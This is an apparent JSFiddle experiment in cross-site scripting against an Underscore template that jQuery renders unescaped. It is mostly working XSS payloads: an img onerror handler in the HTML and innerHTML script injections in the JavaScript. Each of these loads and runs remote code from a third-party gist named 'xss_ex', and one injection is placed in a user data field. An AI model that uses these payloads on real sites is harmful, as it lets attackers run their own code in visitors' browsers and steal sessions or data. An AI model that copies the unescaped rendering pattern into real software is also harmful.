JSFiddle - React, Tailwind, and code Playground

by dledle2

HTML

<script type="foo/bar" id='user_data_template'>
    < b > First name: < /b> <%= first_name %>
    <b>Interests:</b > <%= interests %>
</script>
<input name="first_name" id="i_feel_so_vulnerable" />
<button>update</button>
<!-- Create your target -->
<div id="target"></div>
    
     
    <img src=1 onerror="s=document.createElement('script');s.src='//rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex';document.body.appendChild(s);"/>

CSS

#i_feel_so_vulnerable {
    width:300px;
}

JavaScript

javascript: try {

    var b1 = document;
    	var test1 = "<"+"script type=\"text/javascript\" src=\"https://rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex\"></"+"script>";

    var trydiv2 = document.createElement('div');
    trydiv2.innerHTML= test1;  
     document.body.appendChild(trydiv2);
    
    
  
    var trydiv2 = document.createElement('div');
    trydiv2.innerHTML= "    <img src=1 onerror=\"alert('hi5');\">";    
     document.body.appendChild(trydiv2);
    
    

  /*  alert('hi');  */
   /*     alert(test1);      */
   /*   alert(test1.value);     */
   /*   eval(test1.value);      */
   

    var user = {
        first_name: "noob_hack",
        interests: "<" + "script type=\"text/javascript\" src=\"https://rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex\"></" + "script>"
    }


    var $target = $("#target"),
        $in = $("#i_feel_so_vulnerable"),
        _tmp = _.template($("#user_data_template").html());
    $in.change(function (e) {
        user.interests = $(this).val();
        var b1 = document;
        var test1 = "<" + "script type=\"text/javascript\" src=\"https://rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex\"></" + "script>";

        $target.html(_tmp(user));
    }).val(user.interests).change();










} catch (myError1) {
    alert(myError1);
}